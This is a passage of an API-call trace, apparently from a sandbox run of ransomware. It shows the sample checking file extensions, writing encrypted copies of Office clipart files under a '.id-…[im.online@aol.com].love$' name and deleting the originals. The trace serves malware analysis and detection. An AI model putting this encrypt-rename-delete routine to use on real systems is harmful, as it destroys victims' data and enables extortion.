(lpString=".1cd") returned 4 [0122.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.948] lstrlenW (lpString=".jpg") returned 4 [0122.948] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.948] lstrlenW (lpString=".doc") returned 4 [0122.948] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.948] lstrlenW (lpString=".docx") returned 5 [0122.948] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0122.948] lstrlenW (lpString=".pdf") returned 4 [0122.948] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.948] lstrlenW (lpString=".xls") returned 4 [0122.948] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.948] lstrlenW (lpString=".xlsx") returned 5 [0122.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0122.948] lstrlenW (lpString=".ppt") returned 4 [0122.948] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.948] lstrlenW (lpString=".zip") returned 4 [0122.948] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.948] lstrlenW (lpString=".rar") returned 4 [0122.948] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.948] lstrlenW (lpString=".bz2") returned 4 [0122.948] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.948] lstrlenW (lpString=".7z") returned 3 [0122.948] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.948] lstrlenW (lpString=".dbf") returned 4 [0122.948] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.949] lstrlenW (lpString=".1cd") returned 4 [0122.949] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.949] lstrlenW (lpString=".jpg") returned 4 [0122.949] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.949] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0122.949] lstrlenW (lpString="BD19582_.GIF") returned 12 [0122.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.950] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=15733) returned 1 [0122.950] CloseHandle (hObject=0x348) returned 1 [0122.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0122.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.950] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.950] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0122.951] GetLastError () returned 0x0 [0122.951] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x3d75, lpOverlapped=0x0) returned 1 [0123.209] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3d80, lpOverlapped=0x0) returned 1 [0123.210] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0123.210] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0123.210] SetEndOfFile (hFile=0x364) returned 1 [0123.538] CloseHandle (hObject=0x364) returned 1 [0123.564] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.564] SetEndOfFile (hFile=0x348) returned 1 [0123.566] CloseHandle (hObject=0x348) returned 1 [0123.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0123.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.567] lstrlenW (lpString=".doc") returned 4 [0123.567] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.567] lstrlenW (lpString=".docx") returned 5 [0123.567] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0123.567] lstrlenW (lpString=".pdf") returned 4 [0123.567] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.567] lstrlenW (lpString=".xls") returned 4 [0123.567] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.567] lstrlenW (lpString=".xlsx") returned 5 [0123.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0123.568] lstrlenW (lpString=".ppt") returned 4 [0123.568] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.568] lstrlenW (lpString=".zip") returned 4 [0123.568] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.568] lstrlenW (lpString=".rar") returned 4 [0123.568] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.568] lstrlenW (lpString=".bz2") returned 4 [0123.568] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.568] lstrlenW (lpString=".7z") returned 3 [0123.568] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.568] lstrlenW (lpString=".dbf") returned 4 [0123.568] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.568] lstrlenW (lpString=".1cd") returned 4 [0123.568] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.568] lstrlenW (lpString=".jpg") returned 4 [0123.568] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.568] lstrlenW (lpString=".doc") returned 4 [0123.568] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.568] lstrlenW (lpString=".docx") returned 5 [0123.568] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0123.569] lstrlenW (lpString=".pdf") returned 4 [0123.569] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.569] lstrlenW (lpString=".xls") returned 4 [0123.569] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.569] lstrlenW (lpString=".xlsx") returned 5 [0123.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0123.569] lstrlenW (lpString=".ppt") returned 4 [0123.569] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.569] lstrlenW (lpString=".zip") returned 4 [0123.569] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.569] lstrlenW (lpString=".rar") returned 4 [0123.569] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.569] lstrlenW (lpString=".bz2") returned 4 [0123.569] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.569] lstrlenW (lpString=".7z") returned 3 [0123.569] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.569] lstrlenW (lpString=".dbf") returned 4 [0123.569] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.569] lstrlenW (lpString=".1cd") returned 4 [0123.569] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0123.569] lstrlenW (lpString=".jpg") returned 4 [0123.569] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.570] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.570] lstrlenW (lpString="BL00105_.WMF") returned 12 [0123.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0123.570] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=880) returned 1 [0123.570] CloseHandle (hObject=0x348) returned 1 [0123.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0123.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0123.571] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.571] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0123.572] GetLastError () returned 0x0 [0123.572] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x370, lpOverlapped=0x0) returned 1 [0123.577] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x380, lpOverlapped=0x0) returned 1 [0123.578] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0123.579] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0123.579] SetEndOfFile (hFile=0x364) returned 1 [0123.579] CloseHandle (hObject=0x364) returned 1 [0123.580] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.609] SetEndOfFile (hFile=0x348) returned 1 [0123.611] CloseHandle (hObject=0x348) returned 1 [0123.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0123.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.613] lstrlenW (lpString=".doc") returned 4 [0123.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.613] lstrlenW (lpString=".docx") returned 5 [0123.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.613] lstrlenW (lpString=".pdf") returned 4 [0123.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.613] lstrlenW (lpString=".xls") returned 4 [0123.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.613] lstrlenW (lpString=".xlsx") returned 5 [0123.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.613] lstrlenW (lpString=".ppt") returned 4 [0123.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.613] lstrlenW (lpString=".zip") returned 4 [0123.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.613] lstrlenW (lpString=".rar") returned 4 [0123.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.613] lstrlenW (lpString=".bz2") returned 4 [0123.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.613] lstrlenW (lpString=".7z") returned 3 [0123.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.613] lstrlenW (lpString=".dbf") returned 4 [0123.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.614] lstrlenW (lpString=".1cd") returned 4 [0123.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.614] lstrlenW (lpString=".jpg") returned 4 [0123.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.614] lstrlenW (lpString=".doc") returned 4 [0123.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString=".docx") returned 5 [0123.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.614] lstrlenW (lpString=".pdf") returned 4 [0123.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString=".xls") returned 4 [0123.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.614] lstrlenW (lpString=".xlsx") returned 5 [0123.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.614] lstrlenW (lpString=".ppt") returned 4 [0123.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.614] lstrlenW (lpString=".zip") returned 4 [0123.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.614] lstrlenW (lpString=".rar") returned 4 [0123.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString=".bz2") returned 4 [0123.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.614] lstrlenW (lpString=".7z") returned 3 [0123.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.614] lstrlenW (lpString=".dbf") returned 4 [0123.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.615] lstrlenW (lpString=".1cd") returned 4 [0123.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0123.615] lstrlenW (lpString=".jpg") returned 4 [0123.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.615] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.615] lstrlenW (lpString="BL00122_.WMF") returned 12 [0123.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0123.615] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=10146) returned 1 [0123.615] CloseHandle (hObject=0x348) returned 1 [0123.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0123.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0123.616] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.616] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0123.617] GetLastError () returned 0x0 [0123.617] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x27a2, lpOverlapped=0x0) returned 1 [0123.768] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x27b0, lpOverlapped=0x0) returned 1 [0123.769] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0123.769] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0123.769] SetEndOfFile (hFile=0x364) returned 1 [0123.769] CloseHandle (hObject=0x364) returned 1 [0123.770] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.770] SetEndOfFile (hFile=0x348) returned 1 [0123.771] CloseHandle (hObject=0x348) returned 1 [0123.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0123.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.901] lstrlenW (lpString=".doc") returned 4 [0123.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.901] lstrlenW (lpString=".docx") returned 5 [0123.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.901] lstrlenW (lpString=".pdf") returned 4 [0123.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.901] lstrlenW (lpString=".xls") returned 4 [0123.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.901] lstrlenW (lpString=".xlsx") returned 5 [0123.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.901] lstrlenW (lpString=".ppt") returned 4 [0123.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.902] lstrlenW (lpString=".zip") returned 4 [0123.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.902] lstrlenW (lpString=".rar") returned 4 [0123.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.902] lstrlenW (lpString=".bz2") returned 4 [0123.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.902] lstrlenW (lpString=".7z") returned 3 [0123.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.902] lstrlenW (lpString=".dbf") returned 4 [0123.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.902] lstrlenW (lpString=".1cd") returned 4 [0123.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.902] lstrlenW (lpString=".jpg") returned 4 [0123.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 